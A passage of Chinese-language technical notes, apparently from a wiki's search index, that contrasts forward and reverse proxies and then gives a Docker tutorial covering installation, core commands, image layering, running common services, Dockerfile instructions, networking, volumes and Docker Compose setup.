与前向代理不同,前向代理作为客户端的代理,将从互联网上获取的资源返回给一个或多个的客户端,服务端(如Web服务器)只知道代理的IP地址而不知道客户端的IP地址;而反向代理是作为服务器端(如Web服务器)的代理使用,而不是客户端.客户端借由前向代理可以间接访问很多不同互联网服务器(集群)的资源,而反向代理是供很多客户端都通过它间接访问不同后端服务器上的资源,而不需要知道这些后端服务器的存在,而以为所有资源都来自于这个反向代理服务器. 反向代理在现时的互联网中并不少见,而另一些例子,像是CDN、SNI代理等,是反向代理结合DNS的一类延伸应用. 正向代理与反向代理的区别 正向代理是需要在用户的电脑上配置正向代理服务器的;而反向代理不需要,因为用户是直接访问的反向代理服务器 正向代理的应用场景是用户是知道目标服务器的地址,如:www.google.com,但不能直接访问,那么就需要在用户电脑配置一个正向代理服务器,用户再次访问www.google.com就可以正常访问了;而反向代理的应用场景是用户本来就不知道目标服务器的地址.而是由平台方提供一个反向代理服务器的地址,用户直接访问反向代理服务器的地址就行.不管目标服务器有多少,用户不需要关心,只要访问反向代理服务器就ok;由反向代理服务器去解析访问目标服务器 反向代理极大的保护了应用的安全性,而且此结构可以很好的搭建负载均衡","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"二. Docker从入门到精通","path":"/wiki/VirtDocs/二. Docker从入门到精通.html","content":"总字符数: 30.21K 代码: 17.44K, 文本: 7.08K 预计阅读时间: 1.78 小时 https://www.docker.com/get-starteddesc:truehttps://www.docker.com/get-starteddesc:true https://docker_practice.gitee.io/zh-cn/https://docker_practice.gitee.io/zh-cn/ 1.什么是 Docker1.1 官方定义 We have a complete container solution for you - no matter who you are and where you are on your containerization journey. 翻译: 我们为你提供了一个完整的容器解决方案,不管你是谁,不管你在哪,你都可以开始容器的的旅程. 官方定义: docker是一个容器技术. 1.2 Docker的起源 Docker 最初是 dotCloud 公司创始人 Solomon Hykes 在法国期间发起的一个公司内部项目,它是基于 dotCloud 公司多年云服务技术的一次革新,并于 2013 年 3 月以 Apache 2.0 授权协议开源,主要项目代码在 GitHub 上进行维护.Docker 项目后来还加入了 Linux 基金会,并成立推动 开放容器联盟(OCI). Docker 自开源后受到广泛的关注和讨论,至今其 GitHub 项目 已经超过 5 万 7 千个星标和一万多个 fork.甚至由于 Docker 项目的火爆,在 2013 年底,dotCloud 公司决定改名为 Docker.Docker 最初是在 Ubuntu 12.04 上开发实现的;Red Hat 则从 RHEL 6.5 开始对 Docker 进行支持;Google 也在其 PaaS 产品中广泛应用 Docker. Docker 使用 Google 公司推出的 Go 语言 进行开发实现,基于 Linux 内核的 cgroup,namespace,以及 OverlayFS 类的 Union FS 等技术,对进程进行封装隔离,属于操作系统层面的虚拟化技术.由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器. 2.为什么是Docker 在开发的时候,在本机测试环境可以跑,生产环境跑不起来这里我们拿java Web应用程序举例,我们一个java Web应用程序涉及很多东西,比如jdk、tomcat、mysql等软件环境.当这些其中某一项版本不一致的时候,可能就会导致应用程序跑不起来这种情况.Docker则将程序以及使用软件环境直接打包在一起,无论在那个机器上保证了环境一致.优势1: 一致的运行环境,更轻松的迁移 服务器自己的程序挂了,结果发现是别人程序出了问题把内存吃完了,自己程序因为内存不够就挂了这种也是一种比较常见的情况,如果你的程序重要性不是特别高的话,公司基本上不可能让你的程序独享一台服务器的,这时候你的服务器就会跟公司其他人的程序共享一台服务器,所以不可避免地就会受到其他程序的干扰,导致自己的程序出现问题.Docker就很好解决了环境隔离的问题,别人程序不会影响到自己的程序.优势2:对进程进行封装隔离,容器与容器之间互不影响,更高效的利用系统资源 公司要弄一个活动,可能会有大量的流量进来,公司需要再多部署几十台服务器在没有Docker的情况下,要在几天内部署几十台服务器,这对运维来说是一件非常折磨人的事,而且每台服务器的环境还不一定一样,就会出现各种问题,最后部署地头皮发麻.用Docker的话,我只需要将程序打包到镜像,你要多少台服务,我就给力跑多少容器,极大地提高了部署效率.优势3: 通过镜像复制N多个环境一致容器 3.Docker和虚拟机区别 关于Docker与虚拟机的区别,我在网上找到的一张图,非常直观形象地展示出来,话不多说,直接上图. 比较上面两张图,我们发现虚拟机是携带操作系统,本身很小的应用程序却因为携带了操作系统而变得非常大,很笨重.Docker是不携带操作系统的,所以Docker的应用就非常的轻巧.另外在调用宿主机的CPU、磁盘等等这些资源的时候,拿内存举例,虚拟机是利用Hypervisor去虚拟化内存,整个调用过程是虚拟内存->虚拟物理内存->真正物理内存,但是Docker是利用Docker Engine去调用宿主的的资源,这时候过程是虚拟内存->真正物理内存. 传统虚拟机 Docker容器 磁盘占用 几个GB到几十个GB左右 几十MB到几百MB左右 CPU内存占用 虚拟操作系统非常占用CPU和内存 Docker引擎占用极低 启动速度 (从开机到运行项目)几分钟 (从开启容器到运行项目)几秒 安装管理 需要专门的运维技术 安装、管理方便 应用部署 每次部署都费时费力 从第二次部署开始轻松简捷 耦合性 多个应用服务安装到一起,容易互相影响 每个应用服务一个容器,达成隔离 系统依赖 无 需求相同或相似的内核,目前推荐是Linux 4.Docker的安装4.1 安装docker(centos7.x) 卸载原始docker 1sudo yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-engine 安装docker依赖 1sudo yum install -y yum-utils device-mapper-persistent-data lvm2 设置docker的yum源 1sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo 安装最新版的docker 1sudo yum install docker-ce docker-ce-cli containerd.io -y 指定版本安装docker 123yum list docker-ce --showduplicates | sort -r# sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.iosudo yum install docker-ce-18.09.5-3.el7 docker-ce-cli-18.09.5-3.el7 containerd.io 启动docker 1234# 开机自启dockersudo systemctl enable docker# 启动dockersudo systemctl start docker 关闭docker 1sudo systemctl stop docker 测试docker安装 1sudo docker run hello-world 4.2 bash安装(通用所有平台) 在测试或开发环境中 Docker 官方为了简化安装流程,提供了一套便捷的安装脚本,CentOS 系统上可以使用这套脚本安装,另外可以通过 --mirror 选项使用国内源进行安装:执行这个命令后,脚本就会自动的将一切准备工作做好,并且把 Docker 的稳定(stable)版本安装在系统中. 12curl -fsSL get.docker.com -o get-docker.shsudo sh get-docker.sh --mirror AzureChinaCloud 启动docker 12sudo systemctl enable dockersudo systemctl start docker 创建docker用户组 1sudo groupadd docker 将当前用户加入docker组 1sudo usermod -aG docker $USER 测试docker安装是否正确 1docker run hello-world 5.Docker 的核心架构 镜像: 一个镜像代表一个应用环境,他是一个只读的文件,如 mysql镜像,tomcat镜像,nginx镜像等 容器: 镜像每次运行之后就是产生一个容器,就是正在运行的镜像,特点就是可读可写 仓库:用来存放镜像的位置,类似于maven仓库,也是镜像下载和上传的位置 dockerFile:docker生成镜像配置文件,用来书写自定义镜像的一些配置 tar:一个对镜像打包的文件,日后可以还原成镜像 6. Docker 配置阿里镜像加速服务6.1 docker 运行流程 6.2 docker配置阿里云镜像加速 访问阿里云登录自己账号查看docker镜像加速服务 12345678sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://lz2nib3q.mirror.aliyuncs.com"]}EOFsudo systemctl daemon-reloadsudo systemctl restart docker 验证docker的镜像加速是否生效 1234567[root@localhost ~]# docker info .......... 127.0.0.0/8 Registry Mirrors: 'https://lz2nib3q.mirror.aliyuncs.com/' Live Restore Enabled: false Product License: Community Engine 7.Docker的入门应用7.1 docker 的第一个程序12345678910111213141516171819202122[root@localhost ~]# docker run hello-worldHello from Docker!This message shows that your installation appears to be working correctly.To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. (amd64) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal.To try something more ambitious, you can run an Ubuntu container with: docker run -it ubuntu bashShare images, automate workflows, and more with a free Docker ID: https://hub.docker.com/For more examples and ideas, visit: https://docs.docker.com/get-started/ 思考:我们输入docker run hello-world之后发生了什么? 8.常用命令8.1 辅助命令1234# 1.安装完成辅助命令 docker version\t--------------------------\t查看docker的信息 docker info --------------------------\t查看更详细的信息 docker --help\t--------------------------\t帮助命令 8.2 Images 镜像命令12345678910111213141516# 1.查看本机中所有镜像\tdocker images\t--------------------------\t列出本地所有镜像\t-a 列出所有镜像(包含中间映像层) -q 只显示镜像id# 2.搜索镜像\tdocker search [options] 镜像名\t-------------------\t去dockerhub上查询当前镜像\t-s 指定值 列出收藏数不少于指定值的镜像 --no-trunc 显示完整的镜像信息# 3.从仓库下载镜像\tdocker pull 镜像名[:TAG|@DIGEST]\t----------------- 下载镜像# 4.删除镜像\tdocker rmi 镜像名/镜像ID\t-------------------------- 删除镜像 -f 强制删除 8.3 Contrainer 容器命令1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859# 1.运行容器\tdocker run 镜像名\t--------------------------\t镜像名新建并启动容器 --name 别名为容器起一个名字 -d 启动守护式容器(在后台启动容器) -p 映射端口号:原始端口号 指定端口号启动\t例:docker run -it --name myTomcat -p 8888:8080 tomcat docker run -d --name myTomcat -P tomcat# 2.查看运行的容器\tdocker ps --------------------------\t列出所有正在运行的容器\t-a 正在运行的和历史运行过的容器\t-q 静默模式,只显示容器编号# 3.停止|关闭|重启容器\tdocker start 容器名字或者容器id --------------- 开启容器\tdocker restart 容器名或者容器id --------------- 重启容器\tdocker stop 容器名或者容器id ------------------ 正常停止容器运行\tdocker kill 容器名或者容器id ------------------ 立即停止容器运行# 4.删除容器\tdocker rm -f 容器id和容器名 docker rm -f $(docker ps -aq) --------------------------\t删除所有容器# 5.查看容器内进程\tdocker top 容器id或者容器名 ------------------ 查看容器内的进程# 6.查看查看容器内部细节\tdocker inspect 容器id ------------------ 查看容器内部细节# 7.查看容器的运行日志\tdocker logs [OPTIONS] 容器id或容器名\t------------------ 查看容器日志 -t 加入时间戳 -f 跟随最新的日志打印 --tail 数字\t显示最后多少条# 8.进入容器内部\tdocker exec [options] 容器id 容器内命令 ------------------ 进入容器执行命令\t-i 以交互模式运行容器,通常与-t一起使用 -t 分配一个伪终端 shell窗口 bash # 9.容器和宿主机之间复制文件\tdocker cp 文件|目录 容器id:容器路径 ----------------- 将宿主机复制到容器内部\tdocker cp 容器id:容器内资源路径 宿主机目录路径 ----------------- 将容器内资源拷贝到主机上# 10.数据卷(volum)实现与宿主机共享目录\tdocker run -v 宿主机的路径|任意别名:/容器内的路径 镜像名\t注意: 1.如果是宿主机路径必须是绝对路径,宿主机目录会覆盖容器内目录内容 2.如果是别名则会在docker运行容器时自动在宿主机中创建一个目录,并将容器目录文件复制到宿主机中# 11.打包镜像 docker save 镜像名 -o 名称.tar# 12.载入镜像 docker load -i 名称.tar# 13.容器打包成新的镜像 docker commit -m "描述信息" -a "作者信息" (容器id或者名称)打包的镜像名称:标签 9.docker的镜像原理9.1 镜像是什么? 镜像是一种轻量级的,可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容,包括代码、运行时所需的库、环境变量和配置文件. 9.2 为什么一个镜像会那么大? 镜像就是花卷 UnionFS(联合文件系统):Union文件系统是一种分层,轻量级并且高性能的文件系统,它支持对文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下.Union文件系统是Docker镜像的基础.这种文件系统特性:就是一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录 . 9.3 Docker镜像原理 docker的镜像实际是由一层一层的文件系统组成. bootfs(boot file system)主要包含bootloader和kernel,bootloader主要是引导加载kernel,Linux刚启动时会加载bootfs文件系统.在docker镜像的最底层就是bootfs.这一层与Linux/Unix 系统是一样的,包含boot加载器(bootloader)和内核(kernel).当boot加载完,后整个内核就都在内存中了,此时内存的使用权已由bootfs转交给内核,此时会卸载bootfs. rootfs(root file system),在bootfs之上,包含的就是典型的linux系统中的/dev,/proc,/bin,/etc等标准的目录和文件.rootfs就是各种不同的操作系统发行版,比如Ubuntu/CentOS等等. 我们平时安装进虚拟机的centos都有1到几个GB,为什么docker这里才200MB?对于一个精简的OS,rootfs可以很小,只需要包括最基本的命令,工具,和程序库就可以了,因为底层直接使用Host的Kernal,自己只需要提供rootfs就行了.由此可见不同的linux发行版,他们的bootfs是一致的,rootfs会有差别.因此不同的发行版可以共用bootfs. 9.4 为什么docker镜像要采用这种分层结构呢? 最大的一个好处就是资源共享 比如:有多个镜像都是从相同的base镜像构建而来的,那么宿主机只需在磁盘中保存一份base镜像.同时内存中也只需要加载一份base镜像,就可以为所有容器服务了.而且镜像的每一层都可以被共享.Docker镜像都是只读的.当容器启动时,一个新的可写层被加载到镜像的顶部.这一层通常被称为容器层,容器层之下都叫镜像层. 10.Docker安装常用服务10.1 安装Mysql数据库12345678910111213141516171819202122232425262728# 1.拉取mysql镜像到本地\tdocker pull mysql:tag (tag不加默认最新版本)\t# 2.运行mysql服务\tdocker run --name mysql -e MYSQL_ROOT_PASSWORD=root -d mysql:tag --没有暴露外部端口外部不能连接\tdocker run --name mysql -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 -d mysql:tag --没有暴露外部端口# 3.进入mysql容器\tdocker exec -it 容器名称|容器id bash# 4.外部查看mysql日志\tdocker logs 容器名称|容器id# 5.使用自定义配置参数\tdocker run --name mysql -v /root/mysql/conf.d:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=root -d mysql:tag# 6.将容器数据位置与宿主机位置挂载保证数据安全\tdocker run --name mysql -v /root/mysql/data:/var/lib/mysql -v /root/mysql/conf.d:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 -d mysql:tag# 7.通过其他客户端访问 如在window系统|macos系统使用客户端工具访问\t# 8.将mysql数据库备份为sql文件\tdocker exec mysql|容器id sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出全部数据\tdocker exec mysql sh -c 'exec mysqldump --databases 库表 -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出指定库数据\tdocker exec mysql sh -c 'exec mysqldump --no-data --databases 库表 -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出指定库数据不要数据# 9.执行sql文件到mysql中\tdocker exec -i mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /root/xxx.sql 10.2 安装Redis服务12345678910111213141516171819202122232425262728# 1.在docker hub搜索redis镜像\tdocker search redis# 2.拉取redis镜像到本地\tdocker pull redis# 3.启动redis服务运行容器\tdocker run --name redis -d redis:tag (没有暴露外部端口)\tdocker run --name redis -p 6379:6379 -d redis:tag (暴露外部宿主机端口为6379进行连接) # 4.查看启动日志\tdocker logs -t -f 容器id|容器名称# 5.进入容器内部查看\tdocker exec -it 容器id|名称 bash # 6.加载外部自定义配置启动redis容器\t默认情况下redis官方镜像中没有redis.conf配置文件 需要去官网下载指定版本的配置文件\t1. wget http://download.redis.io/releases/redis-5.0.8.tar.gz 下载官方安装包\t2. 将官方安装包中配置文件进行复制到宿主机指定目录中如 /root/redis/redis.conf文件\t3. 修改需要自定义的配置 bind 0.0.0.0 开启远程权限 appenonly yes 开启aof持久化\t4. 加载配置启动\tdocker run --name redis -v /root/redis:/usr/local/etc/redis -p 6379:6379 -d redis redis-server /usr/local/etc/redis/redis.conf # 7.将数据目录挂在到本地保证数据安全\tdocker run --name redis -v /root/redis/data:/data -v /root/redis/redis.conf:/usr/local/etc/redis/redis.conf -p 6379:6379 -d redis redis-server /usr/local/etc/redis/redis.conf 10.3 安装Nginx123456789101112131415161718192021222324252627# 1.在docker hub搜索nginx\tdocker search nginx# 2.拉取nginx镜像到本地\t[root@localhost ~]# docker pull nginx Using default tag: latest latest: Pulling from library/nginx afb6ec6fdc1c: Pull complete b90c53a0b692: Pull complete 11fa52a0fdc0: Pull complete Digest: sha256:30dfa439718a17baafefadf16c5e7c9d0a1cde97b4fd84f63b69e13513be7097 Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest# 3.启动nginx容器 docker run -p 80:80 --name nginx01 -d nginx# 4.进入容器 docker exec -it nginx01 /bin/bash 查找目录: whereis nginx 配置文件: /etc/nginx/nginx.conf# 5.复制配置文件到宿主机 docker cp nginx01(容器id|容器名称):/etc/nginx/nginx.conf 宿主机名录# 6.挂在nginx配置以及html到宿主机外部 docker run --name nginx02 -v /root/nginx/nginx.conf:/etc/nginx/nginx.conf -v /root/nginx/html:/usr/share/nginx/html -p 80:80 -d nginx 10.4 安装Tomcat1234567891011121314# 1.在docker hub搜索tomcat\tdocker search tomcat# 2.下载tomcat镜像\tdocker pull tomcat# 3.运行tomcat镜像\tdocker run -p 8080:8080 -d --name mytomcat tomcat# 4.进入tomcat容器\tdocker exec -it mytomcat /bin/bash# 5.将webapps目录挂载在外部\tdocker run -p 8080:8080 -v /root/webapps:/usr/local/tomcat/webapps -d --name mytomcat tomcat 10.5 安装MongoDB数据库12345678910111213141516171819# 1.运行mongDB\tdocker run -d -p 27017:27017 --name mymongo mongo ---无须权限\tdocker logs -f mymongo --查看mongo运行日志# 2.进入mongodb容器\tdocker exec -it mymongo /bin/bash 直接执行mongo命令进行操作# 3.常见具有权限的容器\tdocker run --name mymongo -p 27017:27017 -d mongo --auth# 4.进入容器配置用户名密码\tmongo\tuse admin 选择admin库\tdb.createUser({user:"root",pwd:"root",roles:[{role:'root',db:'admin'}]}) //创建用户,此用户创建成功,则后续操作都需要用户认证\texit# 5.将mongoDB中数据目录映射到宿主机中\tdocker run -d -p 27017:27017 -v /root/mongo/data:/data/db --name mymongo mongo 10.6 安装ElasticSearch 注意:调高JVM线程数限制数量 0.拉取镜像运行elasticsearch123456# 1.dockerhub 拉取镜像\tdocker pull elasticsearch:6.4.2# 2.查看docker镜像\tdocker images# 3.运行docker镜像\tdocker run -p 9200:9200 -p 9300:9300 elasticsearch:6.4.2 启动出现如下错误: 1. 预先配置12345678# 1.在centos虚拟机中,修改配置sysctl.conf\tvim /etc/sysctl.conf# 2.加入如下配置\tvm.max_map_count=262144 # 3.启用配置\tsysctl -p\t注:这一步是为了防止启动容器时,报出如下错误:\tbootstrap checks failed max virtual memory areas vm.max_map_count [65530] likely too low, increase to at least [262144] 2.启动EleasticSearch容器1234# 0.复制容器中data目录到宿主机中\tdocker cp 容器id:/usr/share/share/elasticsearch/data /root/es# 1.运行ES容器 指定jvm内存大小并指定ik分词器位置\tdocker run -d --name es -p 9200:9200 -p 9300:9300 -e ES_JAVA_OPTS="-Xms128m -Xmx128m" -v /root/es/plugins:/usr/share/elasticsearch/plugins -v /root/es/data:/usr/share/elasticsearch/data elasticsearch:6.4.2 3.安装IK分词器123456789101112131415161718192021222324252627# 1.下载对应版本的IK分词器\twget https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v6.4.2/elasticsearch-analysis-ik-6.4.2.zip# 2.解压到plugins文件夹中\tyum install -y unzip\tunzip -d ik elasticsearch-analysis-ik-6.4.2.zip# 3.添加自定义扩展词和停用词\tcd plugins/elasticsearch/config\tvim IKAnalyzer.cfg.xml\t<properties> <comment>IK Analyzer 扩展配置</comment> <!--用户可以在这里配置自己的扩展字典 --> <entry key="ext_dict">ext_dict.dic</entry> <!--用户可以在这里配置自己的扩展停止词字典--> <entry key="ext_stopwords">ext_stopwords.dic</entry>\t</properties># 4.在ik分词器目录下config目录中创建ext_dict.dic文件 编码一定要为UTF-8才能生效\tvim ext_dict.dic 加入扩展词即可# 5. 在ik分词器目录下config目录中创建ext_stopword.dic文件 vim ext_stopwords.dic 加入停用词即可# 6.重启容器生效\tdocker restart 容器id# 7.将此容器提交成为一个新的镜像\tdocker commit -a="xiaochen" -m="es with IKAnalyzer" 容器id xiaochen/elasticsearch:6.4.2 4. 安装Kibana12345# 1.下载kibana镜像到本地\tdocker pull kibana:6.4.2# 2.启动kibana容器\tdocker run -d --name kibana -e ELASTICSEARCH_URL=http://10.15.0.3:9200 -p 5601:5601 kibana:6.4.2 11.Dockerfile11.1 什么是DockerfileDockerfile可以认为是Docker镜像的描述文件,是由一系列命令和参数构成的脚本.主要作用是用来构建docker镜像的构建文件. 通过架构图可以看出通过DockerFile可以直接构建镜像 11.2 Dockerfile解析过程 11.3 Dockerfile的保留命令https://docs.docker.com/engine/reference/builder/https://docs.docker.com/engine/reference/builder/ 保留字 作用 FROM 指定基础镜像,必须是Dockerfile的第一个指令 MAINTAINER 镜像维护者的姓名和邮箱地址(已被LABEL指令替代) RUN 运行命令,用于安装包或执行配置命令 EXPOSE 声明容器运行时监听的端口号 WORKDIR 设置工作目录,即容器内部的当前目录 ENV 设置环境变量,供后续的RUN指令使用,也可以在容器运行时提供默认值 ADD 复制文件或目录到镜像中,并且可以处理URL和自动解压tar包 COPY 复制文件或目录到镜像中.优先使用COPY,因为它比ADD更透明 VOLUME 创建一个挂载点,用于持久化和共享数据 CMD 容器启动时运行的命令.如果有多个CMD指令,只有最后一个会生效 ENTRYPOINT 配置容器启动时运行的命令,可与CMD联合使用,以参数形式调用 11.3.1 FROM 命令 基于那个镜像进行构建新的镜像,在构建时会自动从docker hub拉取base镜像 必须作为Dockerfile的第一个指令出现 语法: 123FROM <image>FROM <image>[:<tag>] 使用版本不写为latestFROM <image>[@<digest>] 使用摘要 11.3.2 MAINTAINER 命令 镜像维护者的姓名和邮箱地址[废弃] 语法: 1MAINTAINER <name> 11.3.3 RUN 命令 RUN指令将在当前映像之上的新层中执行任何命令并提交结果.生成的提交映像将用于Dockerfile中的下一步 语法: 12345RUN <command> (shell form, the command is run in a shell, which by default is /bin/sh -c on Linux or cmd /S /C on Windows)RUN echo helloRUN ["executable", "param1", "param2"] (exec form)RUN ["/bin/bash", "-c", "echo hello"] 11.3.4 EXPOSE 命令 用来指定构建的镜像在运行为容器时对外暴露的端口 语法: 12EXPOSE 80/tcp 如果没有显示指定则默认暴露都是tcpEXPOSE 80/udp 11.3.5 CMD 命令 用来为启动的容器指定执行的命令,在Dockerfile中只能有一条CMD指令.如果列出多个命令,则只有最后一个命令才会生效. 注意: Dockerfile中只能有一条CMD指令.如果列出多个命令,则只有最后一个命令才会生效. 语法: 123CMD ["executable","param1","param2"] (exec form, this is the preferred form)CMD ["param1","param2"] (as default parameters to ENTRYPOINT)CMD command param1 param2 (shell form) 11.3.6 WORKDIR 命令 用来为Dockerfile中的任何RUN、CMD、ENTRYPOINT、COPY和ADD指令设置工作目录.如果WORKDIR不存在,即使它没有在任何后续Dockerfile指令中使用,它也将被创建. 语法: 123456WORKDIR /path/to/workdirWORKDIR /aWORKDIR bWORKDIR c`注意:WORKDIR指令可以在Dockerfile中多次使用.如果提供了相对路径,则该路径将与先前WORKDIR指令的路径相对` 11.3.7 ENV 命令 用来为构建镜像设置环境变量.这个值将出现在构建阶段中所有后续指令的环境中. 语法: 12ENV <key> <value>ENV <key>=<value> ... 11.3.8 ADD 命令 用来从context上下文复制新文件、目录或远程文件url,并将它们添加到位于指定路径的映像文件系统中. 语法: 12345ADD hom* /mydir/ 通配符添加多个文件ADD hom?.txt /mydir/ 通配符添加ADD test.txt relativeDir/ 可以指定相对路径ADD test.txt /absoluteDir/ 也可以指定绝对路径ADD url 11.3.9 COPY 命令 用来将context目录中指定文件复制到镜像的指定目录中 语法: 12COPY src destCOPY ["<src>",... "<dest>"] 11.3.10 VOLUME 命令 用来定义容器运行时可以挂在到宿主机的目录 语法: 1VOLUME ["/data"] 11.3.11 ENTRYPOINT命令 用来指定容器启动时执行命令和CMD类似 语法: 12 ["executable", "param1", "param2"]ENTRYPOINT command param1 param2 ENTRYPOINT指令,往往用于设置容器启动后的第一个命令,这对一个容器来说往往是固定的.CMD指令,往往用于设置容器启动的第一个命令的默认参数,这对一个容器来说可以是变化的. 12.高级网络配置12.1 说明 ​\t当 Docker 启动时,会自动在主机上创建一个 docker0 虚拟网桥,实际上是 Linux 的一个 bridge,可以理解为一个软件交换机. ​\t它会在挂载到它的网口之间进行转发. 同时,Docker 随机分配一个本地未占用的私有网段(在 RFC1918 中定义)中的一个地址给 docker0 接口. ​\t比如典型的 172.17.42.1,掩码为 255.255.0.0.此后启动的容器内的网口也会自动分配一个同一网段(172.17.0.0/16)的地址. ​\t当创建一个 Docker 容器的时候,同时会创建了一对 veth pair 接口(当数据包发送到一个接口时,另外一个接口也可以收到相同的数据包). ​\t这对接口一端在容器内,即 eth0;另一端在本地并被挂载到 docker0 网桥,名称以 veth 开头(例如 vethAQI2QT). ​\t通过这种方式,主机可以跟容器通信,容器之间也可以相互通信.Docker 就创建了在主机和所有容器之间一个虚拟共享网络. 12.2 查看网络信息1# docker network ls 12.3 创建一个网桥1# docker network create -d bridge 网桥名称 12.4 删除一个网桥1# docker network rm 网桥名称 12.5 容器之前使用网络通信12# 1.查询当前网络配置- docker network ls 1234NETWORK ID NAME DRIVER SCOPE8e424e5936b7 bridge bridge local17d974db02da docker_gwbridge bridge locald6c326e433f7 host host local 12# 2.创建桥接网络- docker network create -d bridge info 12345678[root@centos ~]# docker network create -d bridge info6e4aaebff79b1df43a064e0e8fdab08f52d64ce34db78dd5184ce7aaaf550a2f[root@centos ~]# docker network lsNETWORK ID NAME DRIVER SCOPE8e424e5936b7 bridge bridge local17d974db02da docker_gwbridge bridge locald6c326e433f7 host host local6e4aaebff79b info bridge local 1234# 3.启动容器指定使用网桥- docker run -d -p 8890:80 --name nginx001 --network info nginx - docker run -d -p 8891:80 --name nginx002 --network info nginx `注意:一旦指定网桥后--name指定名字就是主机名,多个容器指定在同一个网桥时,可以在任意一个容器中使用主机名与容器进行互通` 12345678910111213141516[root@centos ~]# docker run -d -p 8890:80 --name nginx001 --network info nginx c315bcc94e9ddaa36eb6c6f16ca51592b1ac8bf1ecfe9d8f01d892f3f10825fe[root@centos ~]# docker run -d -p 8891:80 --name nginx002 --network info nginxf8682db35dd7fb4395f90edb38df7cad71bbfaba71b6a4c6e2a3a525cb73c2a5[root@centos ~]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESf8682db35dd7 nginx "/docker-entrypoint...." 3 seconds ago Up 2 seconds 0.0.0.0:8891->80/tcp nginx002c315bcc94e9d nginx "/docker-entrypoint...." 7 minutes ago Up 7 minutes 0.0.0.0:8890->80/tcp nginx001b63169d43792 mysql:5.7.19 "docker-entrypoint.s..." 7 minutes ago Up 7 minutes 3306/tcp mysql_mysql.1.s75qe5kkpwwttyf0wrjvd2cda[root@centos ~]# docker exec -it f8682db35dd7 /bin/bashroot@f8682db35dd7:/# curl http://nginx001<!DOCTYPE html><html><head><title>Welcome to nginx!</title>..... 13.高级数据卷配置13.1 说明数据卷 是一个可供一个或多个容器使用的特殊目录,它绕过 UFS,可以提供很多有用的特性: 数据卷 可以在容器之间共享和重用 对 数据卷 的修改会立马生效 对 数据卷 的更新,不会影响镜像 数据卷 默认会一直存在,即使容器被删除 注意:数据卷 的使用,类似于 Linux 下对目录或文件进行 mount,镜像中的被指定为挂载点的目录中的文件会复制到数据卷中(仅数据卷为空时会复制). 13.2 创建数据卷12[root@centos ~]# docker volume create my-volmy-vol 13.3 查看数据卷123456789101112[root@centos ~]# docker volume inspect my-vol [ { "CreatedAt": "2020-11-25T11:43:56+08:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/my-vol/_data", "Name": "my-vol", "Options": {}, "Scope": "local" }] 13.4 挂载数据卷1234567891011121314[root@centos ~]# docker run -d -P --name web -v my-vol:/usr/share/nginx/html nginx[root@centos ~]# docker inspect web "Mounts": [ { "Type": "volume", "Name": "my-vol", "Source": "/var/lib/docker/volumes/my-vol/_data", "Destination": "/usr/share/nginx/html", "Driver": "local", "Mode": "z", "RW": true, "Propagation": "" } ], 13.5 删除数据卷1docker volume rm my-vol 14.Docker Compose14.1 简介 ​\tDocker Compose 是 Docker 的官方工具,用于定义和管理多容器 Docker 应用程序.与 OpenStack 的 Heat 功能相似,它允许用户使用 YAML 文件快速部署和协调一群容器的工作.用户可以在一个 docker-compose.yml 文件中配置所有服务,然后只需一个命令就能启动或停止所有服务.这对于需要多个服务协同工作的复杂应用来说非常有用,例如结合 Web 服务器、数据库和负载均衡器的应用.项目源代码托管在 GitHub 上. Compose 中有两个重要的概念: 服务 (service):一个应用的容器,实际上可以包括若干运行相同镜像的容器实例. 项目 (project):由一组关联的应用容器组成的一个完整业务单元,在 docker-compose.yml 文件中定义. Compose 的默认管理对象是项目,通过子命令对项目中的一组容器进行便捷地生命周期管理. Compose 项目由 Python 编写,实现上调用了 Docker 服务提供的 API 来对容器进行管理.因此,只要所操作的平台支持 Docker API,就可以在其上利用 Compose 来进行编排管理. 14.2 安装与卸载1.linux 在 Linux 上的也安装十分简单,从 官方 GitHub Release 处直接下载编译好的二进制文件即可.例如,在 Linux 64 位系统上直接下载对应的二进制包. 1234567# 方式1: 你的虚拟机可以访问GitHubsudo curl -L https://github.com/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose# 方式2:echo https://github.com/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m`# 复制链接到主机上用Chrome下载scp docker-compose-Linux-x86_64 root@192.168.64.252:/usr/local/bin/docker-composesudo chmod +x /usr/local/bin/docker-compose 2.macos、window Compose 可以通过 Python 的包管理工具 pip 进行安装,也可以直接下载编译好的二进制文件使用,甚至能够直接在 Docker 容器中运行.Docker Desktop for Mac/Windows 自带 docker-compose 二进制文件,安装 Docker 之后可以直接使用. 3.bash命令补全1curl -L https://raw.githubusercontent.com/docker/compose/1.25.5/contrib/completion/bash/docker-compose > /etc/bash_completion.d/docker-compose 4.卸载 